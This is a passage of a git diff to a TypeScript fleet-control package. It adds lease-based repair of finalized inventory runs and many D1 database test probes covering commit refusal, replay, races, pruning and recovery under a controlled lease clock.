FleetInventoryRunStore, + lease: FleetInventoryLease, run: FleetInventoryRunRecord, ): Promise { + // A finalized row can survive an interrupted head update. + await lease.finalizeRun({ + operationId: run.operationId, + expectedRevision: run.progress.revision, + manifest: run.progress.stagedCounts, + factCount: run.progress.factCount, + }); const generation = await store.readFinalizedGeneration( run.progress.generation, ); @@ -158,7 +166,7 @@ async function advanceChunk( maxStagedRowsPerChunk: number, ): Promise { if (run.state === 'finalized') { - return completeFromRun(options.store, run); + return completeFromRun(options.store, lease, run); } if (run.state === 'failed') { throw new Error( @@ -247,7 +255,8 @@ export async function advanceFleetInventory( token.operationId, ); if (persisted?.state === 'finalized') { - return completeFromRun(options.store, persisted); + classifyFleetInventoryRunToken(token, persisted); + return completeFromRun(options.store, lease, persisted); } throw new FleetInventoryRunTokenOperationError(token.operationId); } @@ -255,7 +264,7 @@ export async function advanceFleetInventory( // The caller is behind the persisted run, so the authoritative current // result is returned without touching the provider. return run.state === 'finalized' - ? completeFromRun(options.store, run) + ? completeFromRun(options.store, lease, run) : { status: 'pending', token: runToken(run) }; } return advanceChunk(options, lease, run, maxStagedRowsPerChunk); diff --git a/packages/fleet-control/src/fleet-inventory-state.ts b/packages/fleet-control/src/fleet-inventory-state.ts index 21e30d3f..48c645b5 100644 --- a/packages/fleet-control/src/fleet-inventory-state.ts +++ b/packages/fleet-control/src/fleet-inventory-state.ts @@ -303,8 +303,7 @@ export interface FleetInventoryGeneration { } /** - * Lease-scoped inventory mutations. Every member serializes under the one - * account lease that produced it, including pin, release, and prune. + * Await dependent mutations; calls through this lease handle can overlap. */ export interface FleetInventoryLease { assertOwned(): Promise; @@ -316,6 +315,13 @@ export interface FleetInventoryLease { }>, ): Promise; readRun(operationId: string): Promise; + /** + * Bind writes to the account, operation, physical generation and options + * digest. Reject duplicate input keys and conflicting immutable payload + * bytes before advancing progress; a payload conflict rolls back siblings. + * Replay requires the full intended run record and exact staged bytes. + * Lease expiry between statements may retain inserts without progress. + */ commitChunk( input: Readonly<{ operationId: string; diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index be7a42a0..9f34295f 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -12,11 +12,13 @@ import { D1FleetOperationStore } from '../../src/d1-fleet-operation-store.js'; import { D1FleetStateDatabase } from '../../src/d1-fleet-state-database.js'; import { advanceDecommissionDeployment } from '../../src/decommission-advance.js'; import type { FleetAuditProgress } from '../../src/fleet-audit-state.js'; +import { advanceFleetInventory } from '../../src/fleet-inventory-advance.js'; import { canonicalFleetInventoryRunOptions, emptyFleetInventoryRowCounts, type FleetInventoryRowKind, type FleetInventoryRunRecord, + type FleetInventoryRunStore, type FleetInventoryStagedFact, type FleetInventoryStagedRow, fleetInventoryOptionsDigest, @@ -80,12 +82,14 @@ function controlledLeaseClock( ): Readonly<{ database: FleetStateDatabase; advance(ms: number): void; + advanceBeforeBatchStatement(index: number, ms: number): void; allowHeartbeat(): void; now(): number; heartbeat: Promise; }> { const delegate = new D1FleetStateDatabase(db); let now = 1_000_000; + let batchClockAdvance: { index: number; ms: number } | undefined; let allowHeartbeat: (() => void) | undefined; const heartbeatAllowed = new Promise((resolve) => { allowHeartbeat = resolve; @@ -107,17 +111,23 @@ function controlledLeaseClock( }, execute: (sql, bindings = []) => delegate.execute(atControlledTime(sql), bindings), - batch: (statements) => - delegate.batch( - statements.map((statement) => ({ - ...statement, - sql: atControlledTime(statement.sql), - })), - ), + batch: (statements) => { + const advance = batchClockAdvance; + batchClockAdvance = undefined; + return delegate.batch( + statements.map((statement, index) => { + if (advance?.index === index) now += advance.ms; + return { ...statement, sql: atControlledTime(statement.sql) }; + }), + ); + }, }, advance(ms) { now += ms; }, + advanceBeforeBatchStatement(index, ms) { + batchClockAdvance = { index, ms }; + }, allowHeartbeat() { allowHeartbeat?.(); }, @@ -2578,9 +2588,10 @@ function inventoryOperationId(index: number): string { function inventoryStore( database: FleetStateDatabase, + accountId = INVENTORY_ACCOUNT, ): D1FleetInventoryRunStore { return new D1FleetInventoryRunStore(database, { - accountId: INVENTORY_ACCOUNT, + accountId, }); } @@ -2698,6 +2709,370 @@ async function seedInventoryGeneration( }); } +async function inventorySnapshot(db: D1Database) { + const heads = await db + .prepare( + `SELECT account_id, active_operation_id, latest_finalized_generation, next_generation + FROM anchorage_fleet_inventory_heads ORDER BY account_id`, + ) + .all(); + const runs = await db + .prepare( + `SELECT account_id, operation_id, generation, options_digest, + run_record, created_at_ms, finalized_at_ms + FROM anchorage_fleet_inventory_runs ORDER BY account_id, operation_id`, + ) + .all(); + const rows = await db + .prepare( + `SELECT account_id, generation, kind, ordinal, payload + FROM anchorage_fleet_inventory_rows + ORDER BY account_id, generation, kind, ordinal`, + ) + .all(); + const facts = await db + .prepare( + `SELECT account_id, generation, deployment_ordinal, fact_kind, + fact_ordinal, payload + FROM anchorage_fleet_inventory_deployment_facts + ORDER BY account_id, generation, deployment_ordinal, fact_kind, fact_ordinal`, + ) + .all(); + return { + heads: heads.results, + runs: runs.results, + rows: rows.results, + facts: facts.results, + }; +} + +interface InventoryCommitRefusalInput { + fault: + | 'account' + | 'generation' + | 'options' + | 'row-conflict' + | 'fact-conflict' + | 'duplicate-row' + | 'duplicate-fact'; + hideResults: boolean; + duplicatePayload?: 'same' | 'different'; +} + +async function inventoryCommitRefusal( + db: D1Database, + { fault, hideResults, duplicatePayload }: InventoryCommitRefusalInput, +): Promise { + await readyInventoryStore(db); + const database = hideResultsDatabase(new D1FleetStateDatabase(db)); + const store = inventoryStore(database); + const operationId = inventoryOperationId(21); + return store.withAccountInventoryLease(async (lease) => { + const started = await lease.startRun({ + operationId, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }); + const seededRows = inventoryRows('prior'); + const seededFacts = inventoryFacts(); + const prior = await lease.commitChunk({ + operationId, + expectedRevision: 0, + runRecord: inventoryCommitted(started, seededRows, seededFacts), + rows: seededRows, + facts: seededFacts, + }); + const row: FleetInventoryStagedRow = { + kind: 'meta', + ordinal: 0, + payload: { marker: 'earlier-sibling' }, + }; + const fact: FleetInventoryStagedFact = { + deploymentOrdinal: 0, + factKind: 'secret-name', + factOrdinal: 1, + payload: { name: 'ANCHORAGE_NAME_1' }, + }; + const existingRow = seededRows[0]; + const existingFact = seededFacts[0]; + if (!existingRow || !existingFact) { + throw new Error('inventory refusal seed is absent'); + } + const intended = inventoryCommitted( + prior, + [...seededRows, row], + [...seededFacts, fact], + ); + const input = { + operationId, + expectedRevision: prior.progress.revision, + runRecord: intended, + rows: fault === 'row-conflict' ? [row, existingRow] : [row], + facts: fault === 'fact-conflict' ? [fact, existingFact] : [fact], + }; + const attempted = { ...input }; + switch (fault) { + case 'generation': + attempted.runRecord = { + ...intended, + progress: { ...intended.progress, generation: 99 }, + }; + break; + case 'options': { + const options = canonicalFleetInventoryRunOptions({ + ...INVENTORY_OPTIONS, + scriptNamePrefix: 'alternate', + }); + attempted.runRecord = { + ...intended, + options, + optionsDigest: fleetInventoryOptionsDigest(options), + }; + break; + } + case 'row-conflict': + attempted.rows = [ + row, + { ...existingRow, payload: { scriptName: 'different' } }, + ]; + break; + case 'fact-conflict': + attempted.facts = [ + fact, + { ...existingFact, payload: { name: 'DIFFERENT_NAME' } }, + ]; + break; + case 'duplicate-row': + attempted.rows = [ + row, + duplicatePayload === 'same' + ? row + : { ...row, payload: { marker: 'different' } }, + ]; + break; + case 'duplicate-fact': + attempted.facts = [ + fact, + duplicatePayload === 'same' + ? fact + : { ...fact, payload: { name: 'DIFFERENT_NAME' } }, + ]; + break; + } + const before = await inventorySnapshot(db); + let refused: unknown = null; + try { + if (fault === 'account') { + await new D1FleetInventoryRunStore(database, { + accountId: 'other-inventory-account', + }).withAccountInventoryLease(async (foreignLease) => { + await foreignLease.assertOwned(); + if (hideResults) database.loseNextBatch(); + await foreignLease.commitChunk(attempted); + }); + } else { + if (hideResults) database.loseNextBatch(); + await lease.commitChunk(attempted); + } + } catch (error) { + refused = errorShape(error); + } + const afterRefusal = await inventorySnapshot(db); + let accepted: FleetInventoryRunRecord | null = null; + let replay: FleetInventoryRunRecord | null = null; + let acceptanceError: unknown = null; + let afterAcceptance = afterRefusal; + try { + if (hideResults) database.loseNextBatch(); + accepted = await lease.commitChunk(input); + afterAcceptance = await inventorySnapshot(db); + if (hideResults) database.loseNextBatch(); + replay = await lease.commitChunk(input); + } catch (error) { + acceptanceError = errorShape(error); + } + return { + prior, + intended, + attempted, + before, + afterRefusal, + refused, + accepted, + acceptanceError, + afterAcceptance, + replay, + afterReplay: await inventorySnapshot(db), + }; + }); +} + +async function inventoryCommitReplay( + db: D1Database, + change: 'failed' | 'stage' | 'provider-requests' | 'updated-at', + hideResults: boolean, +): Promise { + await readyInventoryStore(db); + const database = hideResultsDatabase(new D1FleetStateDatabase(db)); + const store = inventoryStore(database); + const operationId = inventoryOperationId(22); + return store.withAccountInventoryLease(async (lease) => { + const started = await lease.startRun({ + operationId, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }); + const rows = inventoryRows('prior'); + const facts = inventoryFacts(); + const input = { + operationId, + expectedRevision: 0, + runRecord: inventoryCommitted(started, rows, facts), + rows, + facts, + }; + if (hideResults) database.loseNextBatch(); + const accepted = await lease.commitChunk(input); + const afterAcceptance = await inventorySnapshot(db); + if (hideResults) database.loseNextBatch(); + const replay = await lease.commitChunk(input); + const afterReplay = await inventorySnapshot(db); + let attempted = input.runRecord; + switch (change) { + case 'failed': + await lease.failRun({ + operationId, + expectedRevision: accepted.progress.revision, + reason: 'operator-abandoned', + }); + break; + case 'stage': + attempted = { + ...attempted, + progress: { + ...attempted.progress, + stage: { step: 'ordinary-scripts' }, + }, + }; + break; + case 'provider-requests': + attempted = { + ...attempted, + progress: { + ...attempted.progress, + providerRequests: attempted.progress.providerRequests + 1, + }, + }; + break; + case 'updated-at': + attempted = { ...attempted, updatedAt: '2026-08-30T00:00:00.000Z' }; + break; + } + const beforeRefusal = await inventorySnapshot(db); + let refused: unknown = null; + if (hideResults) database.loseNextBatch(); + try { + await lease.commitChunk({ ...input, runRecord: attempted }); + } catch (error) { + refused = errorShape(error); + } + return { + intended: input.runRecord, + attempted, + accepted, + afterAcceptance, + replay, + afterReplay, + beforeRefusal, + afterRefusal: await inventorySnapshot(db), + refused, + }; + }); +} + +async function inventoryMaximumChunk(db: D1Database): Promise { + await readyInventoryStore(db); + const delegate = new D1FleetStateDatabase(db); + let maxStatements = 0; + let maxBindings = 0; + let maxSqlBytes = 0; + let maxBindingBytes = 0; + const encoder = new TextEncoder(); + const measured: FleetStateDatabase = { + query: (sql, bindings) => delegate.query(sql, bindings), + execute: (sql, bindings) => delegate.execute(sql, bindings), + async batch(statements) { + maxStatements = Math.max(maxStatements, statements.length); + for (const { sql, bindings = [] } of statements) { + maxBindings = Math.max(maxBindings, bindings.length); + maxSqlBytes = Math.max(maxSqlBytes, encoder.encode(sql).byteLength); + for (const binding of bindings) { + if (typeof binding === 'string') + maxBindingBytes = Math.max( + maxBindingBytes, + encoder.encode(binding).byteLength, + ); + } + } + return delegate.batch(statements); + }, + }; + const store = inventoryStore(measured); + const rows: FleetInventoryStagedRow[] = Array.from( + { length: 1000 }, + (_, ordinal) => ({ kind: 'meta', ordinal, payload: { index: ordinal } }), + ); + const facts: FleetInventoryStagedFact[] = Array.from( + { length: 1000 }, + (_, factOrdinal) => ({ + deploymentOrdinal: 0, + factKind: 'secret-name', + factOrdinal, + payload: { name: `ANCHORAGE_NAME_${factOrdinal}` }, + }), + ); + const id = inventoryOperationId(23); + const result = await store.withAccountInventoryLease(async (lease) => { + const started = await lease.startRun({ + operationId: id, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }); + const input = { + operationId: id, + expectedRevision: 0, + runRecord: inventoryCommitted(started, rows, facts), + rows, + facts, + }; + const accepted = await lease.commitChunk(input); + const replay = await lease.commitChunk(input); + const finalized = await lease.finalizeRun({ + operationId: id, + expectedRevision: accepted.progress.revision, + manifest: accepted.progress.stagedCounts, + factCount: accepted.progress.factCount, + }); + return { accepted, replay, finalized }; + }); + const materialized = await store.readFinalizedGeneration( + result.finalized.generation, + ); + return { + acceptedRevision: result.accepted.progress.revision, + replayEqual: + JSON.stringify(result.accepted) === JSON.stringify(result.replay), + rowsEqual: JSON.stringify(materialized.rows) === JSON.stringify(rows), + factsEqual: JSON.stringify(materialized.facts) === JSON.stringify(facts), + rowCount: materialized.rows.length, + factCount: materialized.facts.length, + maxStatements, + maxBindings, + maxSqlBytes, + maxBindingBytes, + }; +} + async function inventoryStartAtomicity(db: D1Database): Promise { await readyInventoryStore(db); const operationId = inventoryOperationId(0); @@ -2759,6 +3134,634 @@ async function inventoryStartAtomicity(db: D1Database): Promise { }; } +async function inventoryCrossAccountStart( + db: D1Database, + concurrent: boolean, +): Promise { + await readyInventoryStore(db); + const accounts = [INVENTORY_ACCOUNT, 'account-inventory-other'] as const; + const stores = accounts.map((account) => + inventoryStore(new D1FleetStateDatabase(db), account), + ); + const firstStore = stores[0]; + const secondStore = stores[1]; + if (!firstStore || !secondStore) throw new Error('collision stores missing'); + await seedInventoryGeneration(firstStore, 24); + await seedInventoryGeneration(secondStore, 25); + const operationId = inventoryOperationId(26); + const nextOperationId = inventoryOperationId(27); + const start = (store: D1FleetInventoryRunStore, id: string) => + store.withAccountInventoryLease((lease) => + lease.startRun({ + operationId: id, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }), + ); + const before = await inventorySnapshot(db); + const first = start(firstStore, operationId); + if (!concurrent) await first; + const attempts = await Promise.allSettled([ + first, + start(secondStore, operationId), + ]); + const afterCollision = await inventorySnapshot(db); + const winnerIndex = attempts.findIndex( + (entry) => entry.status === 'fulfilled', + ); + const loserIndex = attempts.findIndex((entry) => entry.status === 'rejected'); + const winner = stores[winnerIndex]; + const loser = stores[loserIndex]; + if (!winner || !loser) { + throw new Error(`collision outcomes: ${JSON.stringify(attempts)}`); + } + const refused = await start(loser, operationId).then( + () => null, + (error: unknown) => errorShape(error), + ); + const replay = await start(winner, operationId); + const busy = await start(winner, nextOperationId).then( + () => null, + (error: unknown) => errorShape(error), + ); + const afterRefusals = await inventorySnapshot(db); + let next: FleetInventoryRunRecord | null = null; + const nextError = await start(loser, nextOperationId).then( + (run) => { + next = run; + return null; + }, + (error: unknown) => errorShape(error), + ); + return { + operationId, + nextOperationId, + winnerAccount: accounts[winnerIndex], + loserAccount: accounts[loserIndex], + attempts: attempts.map((entry) => + entry.status === 'fulfilled' + ? { status: entry.status, run: entry.value } + : { status: entry.status, error: errorShape(entry.reason) }, + ), + before, + afterCollision, + refused, + replay, + busy, + afterRefusals, + next, + nextError, + afterNext: await inventorySnapshot(db), + }; +} + +async function inventoryPartialPrune( + db: D1Database, + mode: 'rows' | 'both' | 'empty', +): Promise { + await readyInventoryStore(db); + const clock = controlledLeaseClock(db, INVENTORY_LEASE_TABLE); + clock.allowHeartbeat(); + const store = new D1FleetInventoryRunStore(clock.database, { + accountId: INVENTORY_ACCOUNT, + leaseTtlMs: 60_000, + leaseRenewalIntervalMs: 30_000, + }); + await seedInventoryGeneration( + store, + 38, + mode === 'empty' ? [] : inventoryRows('partial-prune'), + mode === 'empty' ? [] : inventoryFacts(), + ); + await seedInventoryGeneration(store, 39); + const before = await inventorySnapshot(db); + clock.advanceBeforeBatchStatement(mode === 'rows' ? 1 : 2, 60_001); + const interrupted = await store.pruneInventoryGenerations({ limit: 1 }).then( + () => null, + (error: unknown) => errorShape(error), + ); + const partial = await inventorySnapshot(db); + const pin = await store + .pinGeneration({ generation: 1, pinnedBy: 'reader' }) + .then( + () => null, + (error: unknown) => errorShape(error), + ); + const afterPin = await inventorySnapshot(db); + const pins = await db + .prepare( + 'SELECT account_id, generation, pinned_by FROM anchorage_fleet_inventory_pins', + ) + .all(); + const read = await store.readFinalizedGeneration(1).then( + (generation) => ({ generation, error: null }), + (error: unknown) => ({ generation: null, error: errorShape(error) }), + ); + await store.releasePin({ generation: 1, pinnedBy: 'reader' }); + const retried = await store.pruneInventoryGenerations({ limit: 1 }); + return { + before, + interrupted, + partial, + pin, + afterPin, + pins: pins.results, + read, + retried, + afterRetry: await inventorySnapshot(db), + }; +} + +async function inventoryDenseFinalization(db: D1Database): Promise { + const store = await readyInventoryStore(db); + const operationId = inventoryOperationId(40); + return store.withAccountInventoryLease(async (lease) => { + const started = await lease.startRun({ + operationId, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }); + const rows: FleetInventoryStagedRow[] = [ + { kind: 'meta', ordinal: 0, payload: { index: 0 } }, + { kind: 'meta', ordinal: 2, payload: { index: 2 } }, + ]; + const current = await lease.commitChunk({ + operationId, + expectedRevision: 0, + runRecord: inventoryCommitted(started, rows, []), + rows, + facts: [], + }); + const before = await inventorySnapshot(db); + const refused = await lease + .finalizeRun({ + operationId, + expectedRevision: 1, + manifest: current.progress.stagedCounts, + factCount: 0, + }) + .then( + () => null, + (error: unknown) => errorShape(error), + ); + const afterRefusal = await inventorySnapshot(db); + const missing: FleetInventoryStagedRow = { + kind: 'meta', + ordinal: 1, + payload: { index: 1 }, + }; + const complete = await lease.commitChunk({ + operationId, + expectedRevision: 1, + runRecord: inventoryCommitted(current, [...rows, missing], []), + rows: [missing], + facts: [], + }); + await lease.finalizeRun({ + operationId, + expectedRevision: 2, + manifest: complete.progress.stagedCounts, + factCount: 0, + }); + return { + operationId, + before, + afterRefusal, + refused, + final: await store.readFinalizedGeneration(1), + }; + }); +} + +async function inventoryPinPruneRace( + db: D1Database, + winner: 'pin' | 'prune', +): Promise { + await readyInventoryStore(db); + const delegate = new D1FleetStateDatabase(db); + let release!: () => void; + const resume = new Promise((resolve) => { + release = resolve; + }); + let arrived!: () => void; + const entered = new Promise((resolve) => { + arrived = resolve; + }); + let armed = false; + const database: FleetStateDatabase = { + query: (sql, bindings) => delegate.query(sql, bindings), + execute: (sql, bindings) => delegate.execute(sql, bindings), + async batch(statements) { + const heldSql = + winner === 'prune' + ? 'INSERT INTO anchorage_fleet_inventory_pins' + : 'DELETE FROM anchorage_fleet_inventory_rows'; + if ( + armed && + statements.some((statement) => statement.sql.includes(heldSql)) + ) { + armed = false; + arrived(); + await resume; + } + return delegate.batch(statements); + }, + }; + const store = inventoryStore(database); + await seedInventoryGeneration(store, 36); + await seedInventoryGeneration(store, 37); + const before = await inventorySnapshot(db); + let pinOutcome: unknown; + let pruneOutcome: unknown; + await store.withAccountInventoryLease(async (lease) => { + armed = true; + const pin = () => + lease.pinGeneration({ generation: 1, pinnedBy: 'race-reader' }).then( + () => ({ ok: true, error: null }), + (error: unknown) => ({ ok: false, error: errorShape(error) }), + ); + const prune = () => + lease.pruneInventoryGenerations({ limit: 1 }).then( + (result) => ({ deleted: result.deleted, error: null }), + (error: unknown) => ({ deleted: null, error: errorShape(error) }), + ); + const held = winner === 'prune' ? pin() : prune(); + let other: unknown; + try { + const reached = await Promise.race([ + entered.then(() => true), + held.then(() => false), + ]); + if (!reached) + throw new Error('inventory pin/prune barrier was not reached'); + other = await (winner === 'prune' ? prune() : pin()); + } finally { + release(); + } + const resumed = await held; + pinOutcome = winner === 'prune' ? resumed : other; + pruneOutcome = winner === 'prune' ? other : resumed; + }); + const after = await inventorySnapshot(db); + const pins = await db + .prepare( + 'SELECT account_id, generation, pinned_by FROM anchorage_fleet_inventory_pins ORDER BY account_id, generation, pinned_by', + ) + .all(); + const read = await store.readFinalizedGeneration(1).then( + (generation) => ({ generation, error: null }), + (error: unknown) => ({ generation: null, error: errorShape(error) }), + ); + return { before, after, pins: pins.results, pinOutcome, pruneOutcome, read }; +} + +async function inventoryPruneActiveRace(db: D1Database): Promise { + await readyInventoryStore(db); + const delegate = new D1FleetStateDatabase(db); + const operationId = inventoryOperationId(35); + let arm = false; + let afterPromotion: unknown = null; + const database: FleetStateDatabase = { + query: (sql, bindings) => delegate.query(sql, bindings), + execute: (sql, bindings) => delegate.execute(sql, bindings), + async batch(statements) { + if (arm) { + arm = false; + await db + .prepare( + 'UPDATE anchorage_fleet_inventory_heads SET active_operation_id = ? WHERE account_id = ?', + ) + .bind(operationId, INVENTORY_ACCOUNT) + .run(); + afterPromotion = await inventorySnapshot(db); + } + return delegate.batch(statements); + }, + }; + const store = inventoryStore(database); + await store.withAccountInventoryLease(async (lease) => { + const started = await lease.startRun({ + operationId, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }); + const rows = inventoryRows('prune-active-race'); + const facts = inventoryFacts(); + await lease.commitChunk({ + operationId, + expectedRevision: 0, + runRecord: inventoryCommitted(started, rows, facts), + rows, + facts, + }); + await lease.failRun({ + operationId, + expectedRevision: 1, + reason: 'operator-abandoned', + }); + }); + const before = await inventorySnapshot(db); + arm = true; + const pruned = await store.pruneInventoryGenerations({ limit: 1 }); + return { + operationId, + before, + afterPromotion, + pruned, + afterPrune: await inventorySnapshot(db), + }; +} + +async function inventoryFailureRecovery(db: D1Database): Promise { + await readyInventoryStore(db); + const clock = controlledLeaseClock(db, INVENTORY_LEASE_TABLE); + clock.allowHeartbeat(); + const store = new D1FleetInventoryRunStore(clock.database, { + accountId: INVENTORY_ACCOUNT, + leaseTtlMs: 60_000, + leaseRenewalIntervalMs: 30_000, + }); + await seedInventoryGeneration(store, 28); + const operationId = inventoryOperationId(29); + const nextOperationId = inventoryOperationId(30); + const staged = await store.withAccountInventoryLease(async (lease) => { + const started = await lease.startRun({ + operationId, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }); + const rows = inventoryRows('failure-recovery'); + const facts = inventoryFacts(); + return lease.commitChunk({ + operationId, + expectedRevision: started.progress.revision, + runRecord: inventoryCommitted(started, rows, facts), + rows, + facts, + }); + }); + const input = { + operationId, + expectedRevision: staged.progress.revision, + reason: 'operator-abandoned' as const, + }; + const before = await inventorySnapshot(db); + const leaseOwners: unknown[] = []; + const interrupted = await store + .withAccountInventoryLease(async (lease) => { + leaseOwners.push( + await db + .prepare(`SELECT owner_token, expires_at FROM ${INVENTORY_LEASE_TABLE} + WHERE account_id = ?`) + .bind(INVENTORY_ACCOUNT) + .first(), + ); + clock.advanceBeforeBatchStatement(1, 60_001); + await lease.failRun(input); + }) + .then( + () => null, + (error: unknown) => errorShape(error), + ); + const afterInterrupted = await inventorySnapshot(db); + const pruningBeforeRepair = await store.pruneInventoryGenerations({ + limit: 1, + }); + const afterPruningBeforeRepair = await inventorySnapshot(db); + const wrongRevision = await store + .withAccountInventoryLease((lease) => + lease.failRun({ ...input, expectedRevision: input.expectedRevision + 1 }), + ) + .then( + () => null, + (error: unknown) => errorShape(error), + ); + const afterWrongRevision = await inventorySnapshot(db); + const recoveryError = await store + .withAccountInventoryLease(async (lease) => { + leaseOwners.push( + await db + .prepare(`SELECT owner_token, expires_at FROM ${INVENTORY_LEASE_TABLE} + WHERE account_id = ?`) + .bind(INVENTORY_ACCOUNT) + .first(), + ); + await lease.failRun(input); + }) + .then( + () => null, + (error: unknown) => errorShape(error), + ); + const afterRecovery = await inventorySnapshot(db); + let next: FleetInventoryRunRecord | null = null; + const nextError = await store + .withAccountInventoryLease((lease) => + lease.startRun({ + operationId: nextOperationId, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }), + ) + .then( + (run) => { + next = run; + return null; + }, + (error: unknown) => errorShape(error), + ); + const beforeNewHeadReplay = await inventorySnapshot(db); + const newHeadReplayError = await store + .withAccountInventoryLease((lease) => lease.failRun(input)) + .then( + () => null, + (error: unknown) => errorShape(error), + ); + const afterNewHeadReplay = await inventorySnapshot(db); + const prunedInactive = await store.pruneInventoryGenerations({ limit: 1 }); + const afterInactivePrune = await inventorySnapshot(db); + return { + staged, + nextOperationId, + before, + interrupted, + afterInterrupted, + pruningBeforeRepair, + afterPruningBeforeRepair, + wrongRevision, + afterWrongRevision, + recoveryError, + afterRecovery, + leaseOwners, + now: clock.now(), + next, + nextError, + beforeNewHeadReplay, + newHeadReplayError, + afterNewHeadReplay, + prunedInactive, + afterInactivePrune, + }; +} + +async function inventoryFinalizedContinuationRecovery( + db: D1Database, + mode: 'normal' | 'stale' | 'fallback', +): Promise { + await readyInventoryStore(db); + const clock = controlledLeaseClock(db, INVENTORY_LEASE_TABLE); + clock.allowHeartbeat(); + const store = new D1FleetInventoryRunStore(clock.database, { + accountId: INVENTORY_ACCOUNT, + leaseTtlMs: 60_000, + leaseRenewalIntervalMs: 30_000, + }); + const operationId = inventoryOperationId(31); + const staged = await store.withAccountInventoryLease(async (lease) => { + const started = await lease.startRun({ + operationId, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }); + const rows = inventoryRows('finalized-continuation'); + const facts = inventoryFacts(); + return lease.commitChunk({ + operationId, + expectedRevision: started.progress.revision, + runRecord: inventoryCommitted(started, rows, facts), + rows, + facts, + }); + }); + let providerCalls = 0; + const context = { + async advanceStage(): Promise { + providerCalls += 1; + throw new Error('finalized continuation reached the provider'); + }, + }; + const token = { + version: 1 as const, + operationId, + revision: staged.progress.revision, + }; + const before = await inventorySnapshot(db); + clock.advanceBeforeBatchStatement(1, 60_001); + const interrupted = await advanceFleetInventory({ + context, + store, + action: { kind: 'continue', token }, + maxProviderRequests: 9, + }).then( + () => null, + (error: unknown) => errorShape(error), + ); + const afterInterrupted = await inventorySnapshot(db); + const pruningBeforeRepair = await store.pruneInventoryGenerations({ + limit: 1, + }); + const afterPruningBeforeRepair = await inventorySnapshot(db); + const trace: string[] = []; + const repairs: unknown[] = []; + const continuationStore: FleetInventoryRunStore = { + withAccountInventoryLease: (operation) => + store.withAccountInventoryLease((lease) => + operation({ + ...lease, + readRun: (id) => { + trace.push('lease-read'); + return mode === 'fallback' + ? Promise.resolve(undefined) + : lease.readRun(id); + }, + finalizeRun: (input) => { + trace.push('finalize'); + repairs.push(input); + return lease.finalizeRun(input); + }, + }), + ), + readRunByOperation: (id) => { + trace.push('fallback-read'); + return store.readRunByOperation(id); + }, + readFinalizedGeneration: (generation) => { + trace.push('generation-read'); + return store.readFinalizedGeneration(generation); + }, + latestFinalizedGeneration: () => store.latestFinalizedGeneration(), + pinGeneration: (input) => store.pinGeneration(input), + releasePin: (input) => store.releasePin(input), + pruneInventoryGenerations: (input) => + store.pruneInventoryGenerations(input), + }; + const continueRun = () => + advanceFleetInventory({ + context, + store: continuationStore, + action: { + kind: 'continue', + token: { ...token, revision: mode === 'stale' ? 0 : token.revision }, + }, + maxProviderRequests: 9, + }); + const recovery = await continueRun().then( + (result) => ({ result, error: null }), + (error: unknown) => ({ result: null, error: errorShape(error) }), + ); + const afterRecovery = await inventorySnapshot(db); + const recoveryTrace = [...trace]; + const recoveryRepairs = [...repairs]; + const base = { + staged, + before, + interrupted, + afterInterrupted, + pruningBeforeRepair, + afterPruningBeforeRepair, + recovery, + afterRecovery, + recoveryTrace, + recoveryRepairs, + }; + if (!recovery.result) return { ...base, providerCalls, historical: null }; + await seedInventoryGeneration(store, 32); + const newer = await store.withAccountInventoryLease((lease) => + lease.startRun({ + operationId: inventoryOperationId(33), + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }), + ); + const beforeHistorical = await inventorySnapshot(db); + const unpinned = await continueRun().then( + () => null, + (error: unknown) => errorShape(error), + ); + const afterUnpinned = await inventorySnapshot(db); + await store.pinGeneration({ generation: 1, pinnedBy: 'audit-recovery' }); + const pinned = await continueRun(); + const afterPinned = await inventorySnapshot(db); + await store.releasePin({ generation: 1, pinnedBy: 'audit-recovery' }); + const released = await continueRun().then( + () => null, + (error: unknown) => errorShape(error), + ); + return { + ...base, + providerCalls, + historical: { + newer, + before: beforeHistorical, + unpinned, + afterUnpinned, + pinned, + afterPinned, + released, + afterReleased: await inventorySnapshot(db), + }, + }; +} + async function inventoryCommitConcurrency(db: D1Database): Promise { const store = await readyInventoryStore(db); const operationId = inventoryOperationId(1); @@ -3997,10 +5000,69 @@ export default { return Response.json( await coldConcurrentSchemaInitialization(env.DB), ); + case 'inventory-maximum-chunk': + return Response.json(await inventoryMaximumChunk(env.DB)); case 'inventory-start-atomicity': return Response.json(await inventoryStartAtomicity(env.DB)); + case 'inventory-cross-account-start': + return Response.json( + await inventoryCrossAccountStart( + env.DB, + (body.input as { concurrent: boolean }).concurrent, + ), + ); + case 'inventory-partial-prune': + return Response.json( + await inventoryPartialPrune( + env.DB, + (body.input as { mode: 'rows' | 'both' | 'empty' }).mode, + ), + ); + case 'inventory-dense-finalization': + return Response.json(await inventoryDenseFinalization(env.DB)); + case 'inventory-pin-prune-race': + return Response.json( + await inventoryPinPruneRace( + env.DB, + (body.input as { winner: 'pin' | 'prune' }).winner, + ), + ); + case 'inventory-prune-active-race': + return Response.json(await inventoryPruneActiveRace(env.DB)); + case 'inventory-failure-recovery': + return Response.json(await inventoryFailureRecovery(env.DB)); + case 'inventory-finalized-continuation-recovery': + return Response.json( + await inventoryFinalizedContinuationRecovery( + env.DB, + (body.input as { mode: 'normal' | 'stale' | 'fallback' }).mode, + ), + ); case 'inventory-commit-concurrency': return Response.json(await inventoryCommitConcurrency(env.DB)); + case 'inventory-commit-refusal': + return Response.json( + await inventoryCommitRefusal( + env.DB, + body.input as InventoryCommitRefusalInput, + ), + ); + case 'inventory-commit-replay': + return Response.json( + await inventoryCommitReplay( + env.DB, + ( + body.input as { + change: + | 'failed' + | 'stage' + | 'provider-requests' + | 'updated-at'; + } + ).change, + (body.input as { hideResults: boolean 